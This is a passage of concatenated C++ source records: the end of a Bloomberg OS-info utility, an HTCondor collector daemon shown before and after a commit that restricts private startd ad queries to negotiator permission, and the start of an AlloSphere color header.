bdlsb::FixedMemOutStreamBuf sb(buf, sizeof(buf));\n    bsl::ostream ostr(&sb);\n\n    ostr << osvi.dwMajorVersion << '.' << osvi.dwMinorVersion << bsl::ends;\n    *osVersion = buf;\n\n    sb.pubsetbuf(buf, sizeof(buf));\n    buf[0] = 0;\n\n    \/\/ Service pack number\n\n    if (osvi.wServicePackMajor) {\n        ostr << \"Service Pack \" << osvi.wServicePackMajor << '.'\n             << osvi.wServicePackMinor << bsl::ends;\n    }\n    *osPatch = buf;\n\n#endif\n\n    return 0;\n}\n}  \/\/ close package namespace\n\n#elif defined(BSLS_PLATFORM_OS_UNIX)\n\nnamespace bdls {\nint OsUtil::getOsInfo(bsl::string *osName,\n                      bsl::string *osVersion,\n                      bsl::string *osPatch)\n{\n    BSLS_ASSERT(osName);\n    BSLS_ASSERT(osVersion);\n    BSLS_ASSERT(osPatch);\n\n    struct utsname unameInfo;\n    if (-1 == uname(&unameInfo)) {\n        return -1;                                                    \/\/ RETURN\n    }\n    *osName = unameInfo.sysname;\n    *osVersion = unameInfo.release;\n    *osPatch = unameInfo.version;\n    return 0;\n}\n}  \/\/ close package namespace\n\n#else\n\nBSLMF_ASSERT(\"Unsupported operating system\", false);\n\n#endif\n}  \/\/ close enterprise namespace\n\n\/\/ ----------------------------------------------------------------------------\n\/\/ Copyright 2015 Bloomberg Finance L.P.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/ ----------------------------- END-OF-FILE ----------------------------------\n<|endoftext|>"}
{"text":"<commit_before>#include \"condor_common.h\"\n#include \"_condor_fix_resource.h\"\n#include <iostream.h>\n#include <time.h>\n\n#ifndef WIN32\n#include <netinet\/in.h>\n#include <sys\/param.h>\n#endif  \/\/ ifndef WIN32\n\n#include \"condor_classad.h\"\n#include \"condor_parser.h\"\n#include \"sched.h\"\n#include \"condor_status.h\"\n#include \"manager.h\"\n#include \"condor_debug.h\"\n#include \"condor_config.h\"\n#include \"condor_network.h\"\n#include \"internet.h\"\n#include \"fdprintf.h\"\n#include \"condor_io.h\"\n#include \"condor_attributes.h\"\n\n#include \"..\/condor_daemon_core.V6\/condor_daemon_core.h\"\n\n#include \"condor_collector.h\"\n#include \"collector_engine.h\"\n#include \"HashTable.h\"\n#include \"hashkey.h\"\n\n#include \"condor_uid.h\"\n\n\/\/ about self\nstatic char *_FileName_ = __FILE__;\t\t\/\/ used by EXCEPT\nchar* mySubSystem = \"COLLECTOR\";\t\t\/\/ used by Daemon Core\n\n\/\/ variables from the config file\nchar *Log;\nchar *CollectorLog;\nchar *CondorAdministrator;\nchar *CondorDevelopers;\nint   MaxCollectorLog;\nint   ClientTimeout; \nint   QueryTimeout;\nint   MachineUpdateInterval;\nint\t  MasterCheckInterval;\n\n\/\/ the heart of the collector ...\nCollectorEngine collector;\n\n\/\/ misc functions\n#ifndef WIN32\nextern\t   void initializeReporter (void);\n#endif\nextern \"C\" int  SetSyscalls () {return 0;}\nextern     void initializeParams();\n\n\/\/ misc external variables\nextern int errno;\n\n\/\/ internal function prototypes\nvoid houseKeeper(void);\nint receive_update(Service*, int, Stream*);\nint receive_query(Service*, int, Stream*);\nvoid process_query(AdTypes, ClassAd &, Stream *);\nint sigint_handler(Service*, int);\nint sighup_handler(Service*, int);\n#ifndef WIN32\nvoid sigpipe_handler();\nvoid unixsigint_handler();\nvoid unixsighup_handler();\n#endif\n\nvoid usage(char* name)\n{\n\tdprintf(D_ALWAYS,\"Usage: %s [-f] [-b] [-t] [-p <port>]\\n\",name );\n\texit( 1 );\n}\n\n\/\/ main initialization code... the real main() is in DaemonCore\nmain_init(int argc, char *argv[])\n{\n\tchar** ptr;\n\t\n\t\/\/ handle collector-specific command line args\n\tif(argc > 1)\n\t{\n\t\tusage(argv[0]);\n\t}\n\tfor(ptr = argv + 1; *ptr; ptr++)\n\t{\n\t\tif(ptr[0][0] != '-')\n\t\t{\n\t\t\tusage(argv[0]);\n\t\t}\n\t\tswitch(ptr[0][1])\n\t\t{\n\t\t\/\/ place collector-specific command line args here\n\t\tdefault:\n\t\t\tusage(argv[0]);\n\t\t}\n\t}\n\t\n\t\/\/ read in various parameters from condor_config\n    initializeParams ();\n\n    \/\/ install signal handlers\n\tdaemonCore->Register_Signal(DC_SIGINT,\"SIGINT\",(SignalHandler)sigint_handler,\"sigint_handler()\");\n\n#ifndef WIN32\n\tinstall_sig_handler (SIGINT, unixsigint_handler);\n#endif\t\/\/ of ifndef WIN32\n\n#ifndef WIN32\n\t\/\/ setup routine to report to condor developers\n\tinitializeReporter ();\n#endif\n\n\t\/\/ install command handlers for queries\n\tdaemonCore->Register_Command(QUERY_STARTD_ADS,\"QUERY_STARTD_ADS\",\n\t\t(CommandHandler)receive_query,\"receive_query\",NULL,READ);\n\tdaemonCore->Register_Command(QUERY_STARTD_ADS,\"QUERY_STARTD_PVT__ADS\",\n\t\t(CommandHandler)receive_query,\"receive_query\",NULL,READ);\n\tdaemonCore->Register_Command(QUERY_SCHEDD_ADS,\"QUERY_SCHEDD_ADS\",\n\t\t(CommandHandler)receive_query,\"receive_query\",NULL,READ);\n\tdaemonCore->Register_Command(QUERY_MASTER_ADS,\"QUERY_MASTER_ADS\",\n\t\t(CommandHandler)receive_query,\"receive_query\",NULL,READ);\n\tdaemonCore->Register_Command(QUERY_CKPT_SRVR_ADS,\"QUERY_CKPT_SRVR_ADS\",\n\t\t(CommandHandler)receive_query,\"receive_query\",NULL,READ);\n\t\n\t\/\/ install command handlers for updates\n\tdaemonCore->Register_Command(UPDATE_STARTD_AD,\"UPDATE_STARTD_AD\",\n\t\t(CommandHandler)receive_update,\"receive_update\",NULL,WRITE);\n\tdaemonCore->Register_Command(UPDATE_SCHEDD_AD,\"UPDATE_SCHEDD_AD\",\n\t\t(CommandHandler)receive_update,\"receive_update\",NULL,WRITE);\n\tdaemonCore->Register_Command(UPDATE_MASTER_AD,\"UPDATE_MASTER_AD\",\n\t\t(CommandHandler)receive_update,\"receive_update\",NULL,WRITE);\n\tdaemonCore->Register_Command(UPDATE_CKPT_SRVR_AD,\"UPDATE_CKPT_SRVR_AD\",\n\t\t(CommandHandler)receive_update,\"receive_update\",NULL,WRITE);\n\n\t\/\/ set up housekeeper\n\tif (!collector.scheduleHousekeeper(MachineUpdateInterval))\n\t{\n\t\tEXCEPT (\"Could not initialize housekeeper\");\n\t}\n\n\t\/\/ set up routine to check on masters\n\tif (!collector.scheduleDownMasterCheck (MasterCheckInterval))\n\t{\n\t\tEXCEPT (\"Could not initialize master check routine\");\n\t}\n\n\t\/\/ set up so that private ads from startds are collected as well\n\tcollector.wantStartdPrivateAds (true);\n\n\treturn TRUE;\n}\n\nint\nreceive_query(Service* s, int command, Stream* sock)\n{\n    struct sockaddr_in *from;\n\tAdTypes whichAds;\n\tClassAd ad;\n\n\tfrom = sock->endpoint();\n\n\tsock->decode();\n\tsock->timeout(ClientTimeout);\n    if (!ad.get((Stream &)*sock) || !sock->eom())\n    {\n        dprintf(D_ALWAYS,\"Failed to receive query on TCP: aborting\\n\");\n        return FALSE;\n    }\n\n    \/\/ cancel timeout --- collector engine sets up its own timeout for\n    \/\/ collecting further information\n    sock->timeout(0);\n\n    switch (command)\n    {\n\t  case QUERY_STARTD_ADS:\n\t\tdprintf (D_ALWAYS, \"Got QUERY_STARTD_ADS\\n\");\n\t\twhichAds = STARTD_AD;\n\t\tbreak;\n\t\t\n\t  case QUERY_SCHEDD_ADS:\n\t\tdprintf (D_ALWAYS, \"Got QUERY_SCHEDD_ADS\\n\");\n\t\twhichAds = SCHEDD_AD;\n\t\tbreak;\n\t\t\n\t  case QUERY_MASTER_ADS:\n\t\tdprintf (D_ALWAYS, \"Got QUERY_MASTER_ADS\\n\");\n\t\twhichAds = MASTER_AD;\n\t\tbreak;\n\t\t\n\t  case QUERY_CKPT_SRVR_ADS:\n\t\tdprintf (D_ALWAYS, \"Got QUERY_CKPT_SRVR_ADS\\n\");\n\t\twhichAds = CKPT_SRVR_AD;\t\n\t\tbreak;\n\t\t\n\t  case QUERY_STARTD_PVT_ADS:\n\t\tdprintf (D_ALWAYS, \"Got QUERY_STARTD_PVT_ADS\\n\");\n\t\twhichAds = STARTD_PVT_AD;\n\t\tbreak;\n\n\t  default:\n\t\tdprintf(D_ALWAYS,\"Unknown command %d in process_query()\\n\", command);\n\t\twhichAds = (AdTypes) -1;\n    }\n   \n    if (whichAds != (AdTypes) -1)\n\t\tprocess_query (whichAds, ad, sock);\n\n    \/\/ all done; let daemon core will clean up connection\n\treturn TRUE;\n}\n\nint\nreceive_update(Service *s, int command, Stream* sock)\n{\n    int\tinsert;\n\tsockaddr_in *from;\n\tClassAd *ad;\n\n\t\n\t\/\/ TCP commands should not allow for classad updates.  In fact the collector\n\t\/\/ will not collect on TCP to discourage use of TCP for classad updates.\n\tif ( sock->type() == Stream::reli_sock ) {\n\t\t\/\/ update via tcp; sorry buddy, use udp or you're outa here!\n\t\tdprintf(D_ALWAYS,\"Received UPDATE command via TCP; ignored\\n\");\n\t\t\/\/ let daemon core clean up the socket\n\t\treturn TRUE;\n\t}\n\n\t\/\/ get endpoint\n\tfrom = sock->endpoint();\n\n    \/\/ process the given command\n\tif (!(ad = collector.collect (command,(Sock*)sock,from,insert)))\n\t{\n\t\tif (insert == -2)\n\t\t{\n\t\t\t\/\/ this should never happen assuming we never register QUERY\n\t\t\t\/\/ commands with daemon core, but it cannot hurt to check...\n\t\t\tdprintf (D_ALWAYS,\"Got QUERY command (%d); not supported for UDP\\n\",\n\t\t\t\t\t\tcommand);\n\t\t}\n\t}\n\n\t\/\/ let daemon core clean up the socket\n\treturn TRUE;\n}\n\nstatic ClassAd *__query__;\nstatic Stream *__sock__;\nstatic int __numAds__;\nstatic int __failed__;\n\nint\nquery_scanFunc (ClassAd *ad)\n{\n    int more = 1;\n\n    if ((*ad) >= (*__query__))\n    {\n        if (!__sock__->code(more) || !ad->put(*__sock__))\n        {\n            dprintf (D_ALWAYS, \n                    \"Error sending query result to client -- aborting\\n\");\n            return 0;\n        }\n        __numAds__++;\n    }\n\n    return 1;\n}\n\nvoid\nprocess_query (AdTypes whichAds, ClassAd &query, Stream *sock)\n{\n\tint\t\tmore;\n\n\t\/\/ here we set up a network timeout of a longer duration\n\tsock->timeout(QueryTimeout);\n\n\t\/\/ set up for hashtable scan\n\t__query__ = &query;\n\t__numAds__ = 0;\n\t__sock__ = sock;\n\tsock->encode();\n\tif (!collector.walkHashTable (whichAds, query_scanFunc))\n\t{\n\t\tdprintf (D_ALWAYS, \"Error sending query response\\n\");\n\t}\n\n\t\/\/ end of query response ...\n\tmore = 0;\n\tif (!sock->code(more))\n\t{\n\t\tdprintf (D_ALWAYS, \"Error sending EndOfResponse (0) to client\\n\");\n\t}\n\n\t\/\/ flush the output\n\tif (!sock->end_of_message())\n\t{\n\t\tdprintf (D_ALWAYS, \"Error flushing CEDAR socket\\n\");\n\t}\n\n\tdprintf (D_ALWAYS, \"(Sent %d ads in response to query)\\n\", __numAds__);\n}\t\n\n#ifndef WIN32\nint \t__mailer__;\n\nint\nreportScanFunc (ClassAd *ad)\n{\n\tchar buffer[2048];\n\tint\t x;\n\n\tif (!ad->LookupString (ATTR_NAME, buffer)) return 0;\n\tfdprintf (__mailer__, \"%15s\", buffer);\n\n\tif (!ad->LookupString (ATTR_ARCH, buffer)) return 0;\n\tfdprintf (__mailer__, \"%8s\", buffer);\n\n\tif (!ad->LookupString (ATTR_OPSYS, buffer)) return 0;\n\tfdprintf (__mailer__, \"%14s\", buffer);\n\n\tif (!ad->LookupInteger (ATTR_MIPS, x)) x = -1;\n\tfdprintf (__mailer__, \"%4d\", x);\n\n\tif (!ad->LookupInteger (ATTR_KFLOPS, x)) x = -1;\n\tfdprintf (__mailer__, \"%7d\", x);\n\n\tif (!ad->LookupString (ATTR_STATE, buffer)) return 0;\n\tfdprintf (__mailer__, \"%10s\\n\", buffer);\n\n\treturn 1;\n}\n\nvoid\nreportToDevelopers (void)\n{\n\tchar\twhoami[128];\n\tchar\tbuffer[128];\n\n\tif (get_machine_name (whoami) == -1) {\n\t\tdprintf (D_ALWAYS, \"Unable to get_machine_name()\\n\");\n\t\treturn;\n\t}\n\n\tsprintf (buffer, \"Condor Collector (%s):  Monthly report\\n\", whoami);\n\tif ((__mailer__ = email (buffer, CondorDevelopers)) < 0) {\n\t\tdprintf (D_ALWAYS, \"Didn't send monthly report (couldn't open url)\\n\");\n\t\treturn;\n\t}\n\n\tif (!collector.walkHashTable (STARTD_AD, reportScanFunc)) {\n\t\tdprintf (D_ALWAYS, \"Error sending monthly report\\n\");\n\t}\t\n\t\t\n\tclose (__mailer__);\n\treturn;\n}\n#endif  \/\/ of ifndef WIN32\n\t\n\/\/ signal handlers ...\nint\nsigint_handler (Service *s, int sig)\n{\n    dprintf (D_ALWAYS, \"Killed by SIGINT\\n\");\n    exit(0);\n\treturn FALSE;\t\/\/ never will get here; just to satisfy c++\n}\n\n#ifndef WIN32\nvoid\nunixsigint_handler ()\n{\n    dprintf (D_ALWAYS, \"Killed by SIGINT\\n\");\n    exit(0);\n\treturn;\t\/\/ never will get here; just to satisfy c++\n}\n\n#endif\t\/\/ of ifndef WIN32\n\n\n\nint\nmain_config()\n{\n    initializeParams();\n\treturn TRUE;\n}\n\n\nint\nmain_shutdown_fast()\n{\n\texit(0);\n\treturn TRUE;\t\/\/ to satisfy c++\n}\n\n\nint\nmain_shutdown_graceful()\n{\n\texit(0);\n\treturn TRUE;\t\/\/ to satisfy c++\n}\n\n<commit_msg>Made the handler for QUERY_STARTD_PVT_ADS registered with NEGOTIATOR permission.<commit_after>#include \"condor_common.h\"\n#include \"_condor_fix_resource.h\"\n#include <iostream.h>\n#include <time.h>\n\n#ifndef WIN32\n#include <netinet\/in.h>\n#include <sys\/param.h>\n#endif  \/\/ ifndef WIN32\n\n#include \"condor_classad.h\"\n#include \"condor_parser.h\"\n#include \"sched.h\"\n#include \"condor_status.h\"\n#include \"manager.h\"\n#include \"condor_debug.h\"\n#include \"condor_config.h\"\n#include \"condor_network.h\"\n#include \"internet.h\"\n#include \"fdprintf.h\"\n#include \"condor_io.h\"\n#include \"condor_attributes.h\"\n\n#include \"..\/condor_daemon_core.V6\/condor_daemon_core.h\"\n\n#include \"condor_collector.h\"\n#include \"collector_engine.h\"\n#include \"HashTable.h\"\n#include \"hashkey.h\"\n\n#include \"condor_uid.h\"\n\n\/\/ about self\nstatic char *_FileName_ = __FILE__;\t\t\/\/ used by EXCEPT\nchar* mySubSystem = \"COLLECTOR\";\t\t\/\/ used by Daemon Core\n\n\/\/ variables from the config file\nchar *Log;\nchar *CollectorLog;\nchar *CondorAdministrator;\nchar *CondorDevelopers;\nint   MaxCollectorLog;\nint   ClientTimeout; \nint   QueryTimeout;\nint   MachineUpdateInterval;\nint\t  MasterCheckInterval;\n\n\/\/ the heart of the collector ...\nCollectorEngine collector;\n\n\/\/ misc functions\n#ifndef WIN32\nextern\t   void initializeReporter (void);\n#endif\nextern \"C\" int  SetSyscalls () {return 0;}\nextern     void initializeParams();\n\n\/\/ misc external variables\nextern int errno;\n\n\/\/ internal function prototypes\nvoid houseKeeper(void);\nint receive_update(Service*, int, Stream*);\nint receive_query(Service*, int, Stream*);\nvoid process_query(AdTypes, ClassAd &, Stream *);\nint sigint_handler(Service*, int);\nint sighup_handler(Service*, int);\n#ifndef WIN32\nvoid sigpipe_handler();\nvoid unixsigint_handler();\nvoid unixsighup_handler();\n#endif\n\nvoid usage(char* name)\n{\n\tdprintf(D_ALWAYS,\"Usage: %s [-f] [-b] [-t] [-p <port>]\\n\",name );\n\texit( 1 );\n}\n\n\/\/ main initialization code... the real main() is in DaemonCore\nmain_init(int argc, char *argv[])\n{\n\tchar** ptr;\n\t\n\t\/\/ handle collector-specific command line args\n\tif(argc > 1)\n\t{\n\t\tusage(argv[0]);\n\t}\n\tfor(ptr = argv + 1; *ptr; ptr++)\n\t{\n\t\tif(ptr[0][0] != '-')\n\t\t{\n\t\t\tusage(argv[0]);\n\t\t}\n\t\tswitch(ptr[0][1])\n\t\t{\n\t\t\/\/ place collector-specific command line args here\n\t\tdefault:\n\t\t\tusage(argv[0]);\n\t\t}\n\t}\n\t\n\t\/\/ read in various parameters from condor_config\n    initializeParams ();\n\n    \/\/ install signal handlers\n\tdaemonCore->Register_Signal(DC_SIGINT,\"SIGINT\",(SignalHandler)sigint_handler,\"sigint_handler()\");\n\n#ifndef WIN32\n\tinstall_sig_handler (SIGINT, unixsigint_handler);\n#endif\t\/\/ of ifndef WIN32\n\n#ifndef WIN32\n\t\/\/ setup routine to report to condor developers\n\tinitializeReporter ();\n#endif\n\n\t\/\/ install command handlers for queries\n\tdaemonCore->Register_Command(QUERY_STARTD_ADS,\"QUERY_STARTD_ADS\",\n\t\t(CommandHandler)receive_query,\"receive_query\",NULL,READ);\n\tdaemonCore->Register_Command(QUERY_STARTD_PVT_ADS,\"QUERY_STARTD_PVT_ADS\",\n\t\t(CommandHandler)receive_query,\"receive_query\",NULL,NEGOTIATOR);\n\tdaemonCore->Register_Command(QUERY_SCHEDD_ADS,\"QUERY_SCHEDD_ADS\",\n\t\t(CommandHandler)receive_query,\"receive_query\",NULL,READ);\n\tdaemonCore->Register_Command(QUERY_MASTER_ADS,\"QUERY_MASTER_ADS\",\n\t\t(CommandHandler)receive_query,\"receive_query\",NULL,READ);\n\tdaemonCore->Register_Command(QUERY_CKPT_SRVR_ADS,\"QUERY_CKPT_SRVR_ADS\",\n\t\t(CommandHandler)receive_query,\"receive_query\",NULL,READ);\n\t\n\t\/\/ install command handlers for updates\n\tdaemonCore->Register_Command(UPDATE_STARTD_AD,\"UPDATE_STARTD_AD\",\n\t\t(CommandHandler)receive_update,\"receive_update\",NULL,WRITE);\n\tdaemonCore->Register_Command(UPDATE_SCHEDD_AD,\"UPDATE_SCHEDD_AD\",\n\t\t(CommandHandler)receive_update,\"receive_update\",NULL,WRITE);\n\tdaemonCore->Register_Command(UPDATE_MASTER_AD,\"UPDATE_MASTER_AD\",\n\t\t(CommandHandler)receive_update,\"receive_update\",NULL,WRITE);\n\tdaemonCore->Register_Command(UPDATE_CKPT_SRVR_AD,\"UPDATE_CKPT_SRVR_AD\",\n\t\t(CommandHandler)receive_update,\"receive_update\",NULL,WRITE);\n\n\t\/\/ set up housekeeper\n\tif (!collector.scheduleHousekeeper(MachineUpdateInterval))\n\t{\n\t\tEXCEPT (\"Could not initialize housekeeper\");\n\t}\n\n\t\/\/ set up routine to check on masters\n\tif (!collector.scheduleDownMasterCheck (MasterCheckInterval))\n\t{\n\t\tEXCEPT (\"Could not initialize master check routine\");\n\t}\n\n\t\/\/ set up so that private ads from startds are collected as well\n\tcollector.wantStartdPrivateAds (true);\n\n\treturn TRUE;\n}\n\nint\nreceive_query(Service* s, int command, Stream* sock)\n{\n    struct sockaddr_in *from;\n\tAdTypes whichAds;\n\tClassAd ad;\n\n\tfrom = sock->endpoint();\n\n\tsock->decode();\n\tsock->timeout(ClientTimeout);\n    if (!ad.get((Stream &)*sock) || !sock->eom())\n    {\n        dprintf(D_ALWAYS,\"Failed to receive query on TCP: aborting\\n\");\n        return FALSE;\n    }\n\n    \/\/ cancel timeout --- collector engine sets up its own timeout for\n    \/\/ collecting further information\n    sock->timeout(0);\n\n    switch (command)\n    {\n\t  case QUERY_STARTD_ADS:\n\t\tdprintf (D_ALWAYS, \"Got QUERY_STARTD_ADS\\n\");\n\t\twhichAds = STARTD_AD;\n\t\tbreak;\n\t\t\n\t  case QUERY_SCHEDD_ADS:\n\t\tdprintf (D_ALWAYS, \"Got QUERY_SCHEDD_ADS\\n\");\n\t\twhichAds = SCHEDD_AD;\n\t\tbreak;\n\t\t\n\t  case QUERY_MASTER_ADS:\n\t\tdprintf (D_ALWAYS, \"Got QUERY_MASTER_ADS\\n\");\n\t\twhichAds = MASTER_AD;\n\t\tbreak;\n\t\t\n\t  case QUERY_CKPT_SRVR_ADS:\n\t\tdprintf (D_ALWAYS, \"Got QUERY_CKPT_SRVR_ADS\\n\");\n\t\twhichAds = CKPT_SRVR_AD;\t\n\t\tbreak;\n\t\t\n\t  case QUERY_STARTD_PVT_ADS:\n\t\tdprintf (D_ALWAYS, \"Got QUERY_STARTD_PVT_ADS\\n\");\n\t\twhichAds = STARTD_PVT_AD;\n\t\tbreak;\n\n\t  default:\n\t\tdprintf(D_ALWAYS,\"Unknown command %d in process_query()\\n\", command);\n\t\twhichAds = (AdTypes) -1;\n    }\n   \n    if (whichAds != (AdTypes) -1)\n\t\tprocess_query (whichAds, ad, sock);\n\n    \/\/ all done; let daemon core will clean up connection\n\treturn TRUE;\n}\n\nint\nreceive_update(Service *s, int command, Stream* sock)\n{\n    int\tinsert;\n\tsockaddr_in *from;\n\tClassAd *ad;\n\n\t\n\t\/\/ TCP commands should not allow for classad updates.  In fact the collector\n\t\/\/ will not collect on TCP to discourage use of TCP for classad updates.\n\tif ( sock->type() == Stream::reli_sock ) {\n\t\t\/\/ update via tcp; sorry buddy, use udp or you're outa here!\n\t\tdprintf(D_ALWAYS,\"Received UPDATE command via TCP; ignored\\n\");\n\t\t\/\/ let daemon core clean up the socket\n\t\treturn TRUE;\n\t}\n\n\t\/\/ get endpoint\n\tfrom = sock->endpoint();\n\n    \/\/ process the given command\n\tif (!(ad = collector.collect (command,(Sock*)sock,from,insert)))\n\t{\n\t\tif (insert == -2)\n\t\t{\n\t\t\t\/\/ this should never happen assuming we never register QUERY\n\t\t\t\/\/ commands with daemon core, but it cannot hurt to check...\n\t\t\tdprintf (D_ALWAYS,\"Got QUERY command (%d); not supported for UDP\\n\",\n\t\t\t\t\t\tcommand);\n\t\t}\n\t}\n\n\t\/\/ let daemon core clean up the socket\n\treturn TRUE;\n}\n\nstatic ClassAd *__query__;\nstatic Stream *__sock__;\nstatic int __numAds__;\nstatic int __failed__;\n\nint\nquery_scanFunc (ClassAd *ad)\n{\n    int more = 1;\n\n    if ((*ad) >= (*__query__))\n    {\n        if (!__sock__->code(more) || !ad->put(*__sock__))\n        {\n            dprintf (D_ALWAYS, \n                    \"Error sending query result to client -- aborting\\n\");\n            return 0;\n        }\n        __numAds__++;\n    }\n\n    return 1;\n}\n\nvoid\nprocess_query (AdTypes whichAds, ClassAd &query, Stream *sock)\n{\n\tint\t\tmore;\n\n\t\/\/ here we set up a network timeout of a longer duration\n\tsock->timeout(QueryTimeout);\n\n\t\/\/ set up for hashtable scan\n\t__query__ = &query;\n\t__numAds__ = 0;\n\t__sock__ = sock;\n\tsock->encode();\n\tif (!collector.walkHashTable (whichAds, query_scanFunc))\n\t{\n\t\tdprintf (D_ALWAYS, \"Error sending query response\\n\");\n\t}\n\n\t\/\/ end of query response ...\n\tmore = 0;\n\tif (!sock->code(more))\n\t{\n\t\tdprintf (D_ALWAYS, \"Error sending EndOfResponse (0) to client\\n\");\n\t}\n\n\t\/\/ flush the output\n\tif (!sock->end_of_message())\n\t{\n\t\tdprintf (D_ALWAYS, \"Error flushing CEDAR socket\\n\");\n\t}\n\n\tdprintf (D_ALWAYS, \"(Sent %d ads in response to query)\\n\", __numAds__);\n}\t\n\n#ifndef WIN32\nint \t__mailer__;\n\nint\nreportScanFunc (ClassAd *ad)\n{\n\tchar buffer[2048];\n\tint\t x;\n\n\tif (!ad->LookupString (ATTR_NAME, buffer)) return 0;\n\tfdprintf (__mailer__, \"%15s\", buffer);\n\n\tif (!ad->LookupString (ATTR_ARCH, buffer)) return 0;\n\tfdprintf (__mailer__, \"%8s\", buffer);\n\n\tif (!ad->LookupString (ATTR_OPSYS, buffer)) return 0;\n\tfdprintf (__mailer__, \"%14s\", buffer);\n\n\tif (!ad->LookupInteger (ATTR_MIPS, x)) x = -1;\n\tfdprintf (__mailer__, \"%4d\", x);\n\n\tif (!ad->LookupInteger (ATTR_KFLOPS, x)) x = -1;\n\tfdprintf (__mailer__, \"%7d\", x);\n\n\tif (!ad->LookupString (ATTR_STATE, buffer)) return 0;\n\tfdprintf (__mailer__, \"%10s\\n\", buffer);\n\n\treturn 1;\n}\n\nvoid\nreportToDevelopers (void)\n{\n\tchar\twhoami[128];\n\tchar\tbuffer[128];\n\n\tif (get_machine_name (whoami) == -1) {\n\t\tdprintf (D_ALWAYS, \"Unable to get_machine_name()\\n\");\n\t\treturn;\n\t}\n\n\tsprintf (buffer, \"Condor Collector (%s):  Monthly report\\n\", whoami);\n\tif ((__mailer__ = email (buffer, CondorDevelopers)) < 0) {\n\t\tdprintf (D_ALWAYS, \"Didn't send monthly report (couldn't open url)\\n\");\n\t\treturn;\n\t}\n\n\tif (!collector.walkHashTable (STARTD_AD, reportScanFunc)) {\n\t\tdprintf (D_ALWAYS, \"Error sending monthly report\\n\");\n\t}\t\n\t\t\n\tclose (__mailer__);\n\treturn;\n}\n#endif  \/\/ of ifndef WIN32\n\t\n\/\/ signal handlers ...\nint\nsigint_handler (Service *s, int sig)\n{\n    dprintf (D_ALWAYS, \"Killed by SIGINT\\n\");\n    exit(0);\n\treturn FALSE;\t\/\/ never will get here; just to satisfy c++\n}\n\n#ifndef WIN32\nvoid\nunixsigint_handler ()\n{\n    dprintf (D_ALWAYS, \"Killed by SIGINT\\n\");\n    exit(0);\n\treturn;\t\/\/ never will get here; just to satisfy c++\n}\n\n#endif\t\/\/ of ifndef WIN32\n\n\n\nint\nmain_config()\n{\n    initializeParams();\n\treturn TRUE;\n}\n\n\nint\nmain_shutdown_fast()\n{\n\texit(0);\n\treturn TRUE;\t\/\/ to satisfy c++\n}\n\n\nint\nmain_shutdown_graceful()\n{\n\texit(0);\n\treturn TRUE;\t\/\/ to satisfy c++\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#ifndef INCLUDE_AL_COLOR_HPP\n#define INCLUDE_AL_COLOR_HPP\n\n\/*\n *  AlloSphere Research Group \/ Media Arts & Technology, UCSB, 2009\n *\/\n\n\/*\n\tCopyright (C) 2006-2008. The Regents of the University of California (REGENTS).\n\tAll Rights Reserved.\n\n\tPermission to use, copy, modify, distribute, and distribute modified versions\n\tof this software and its documentation without fee and without a signed\n\tlicensing agreement, is hereby granted, provided that the above copyright\n\tnotice, the list of contributors, this paragraph and the following two paragraphs\n\tappear in all copies, modifications, and distributions.\n\n\tIN NO EVENT SHALL REGENTS BE LIABLE TO ANY PARTY FOR DIRECT, INDIRECT,\n\tSPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, INCLUDING LOST PROFITS, ARISING\n\tOUT OF THE USE OF THIS SOFTWARE AND ITS DOCUMENTATION, EVEN IF REGENTS HAS\n\tBEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n\tREGENTS SPECIFICALLY DISCLAIMS ANY WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n\tTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n\tPURPOSE. THE SOFTWARE AND ACCOMPANYING DOCUMENTATION, IF ANY, PROVIDED\n\tHEREUNDER IS PROVIDED \"AS IS\". REGENTS HAS  NO OBLIGATION TO PROVIDE\n\tMAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS.\n*\/\n\n#include \"allocore\/system\/pstdint.h\"\n\nnamespace al{\n\nstruct Color;\nstruct Colori;\nstruct HSV;\n\n\n\/\/\/ Color represented by red, green, blue, and alpha components\nstruct Color{\n\n\tunion{\n\t\tstruct{\n\t\t\tfloat r;\t\t\t\/\/\/< Red component in [0, 1]\n\t\t\tfloat g;\t\t\t\/\/\/< Green component in [0, 1]\n\t\t\tfloat b;\t\t\t\/\/\/< Blue component in [0, 1]\n\t\t\tfloat a;\t\t\t\/\/\/< Alpha component in [0, 1]\n\t\t};\n\t\tfloat components[4];\t\/\/\/< RGBA component vector\n\t};\n\n\n\t\/\/\/ @param[in] r\t\t\tred component\n\t\/\/\/ @param[in] g\t\t\tgreen component\n\t\/\/\/ @param[in] b\t\t\tblue component\n\t\/\/\/ @param[in] a\t\t\talpha component\n\tColor(float r, float g, float b, float a=1.f)\n\t:\tr(r), g(g), b(b), a(a){}\n\n\t\/\/\/ @param[in] gray\t\t\tred\/green\/blue components\n\t\/\/\/ @param[in] a\t\t\talpha component\n\tColor(float gray=1.f, float a=1.f)\n\t:\tr(gray), g(gray), b(gray), a(a){}\n\n\t\/\/\/ @param[in] c\tRGBA color to convert from\n\tColor(const Colori& c){ *this = c; }\n\n\t\/\/\/ @param[in] hsv\t\t\tHSV value\n\t\/\/\/ @param[in] a\t\t\talpha component\n\tColor(const HSV& hsv, float a=1.f)\n\t:\ta(a)\n\t{\t*this = hsv; }\n\n\n\t\/\/\/ Set color component at index with no bounds checking\n\tfloat& operator[](int i){ return components[i]; }\n\n\t\/\/\/ Get color component at index with no bounds checking\n\tconst float& operator[](int i) const { return components[i]; }\n\n\t\/\/\/ Set RGB from another color and alpha from argument\n\tColor& set(const Color& c, float al){ a=al; return set(c.r,c.g,c.b); }\n\n\t\/\/\/ Set RGBA components\n\tColor& set(float re, float gr, float bl, float al){ a=al; return set(re,gr,bl); }\n\n\t\/\/\/ Set RGB components\n\tColor& set(float re, float gr, float bl){ r=re; g=gr; b=bl; return *this; }\n\n\t\/\/\/ Set from gray value\n\tColor& set(float v){ return set(v,v,v); 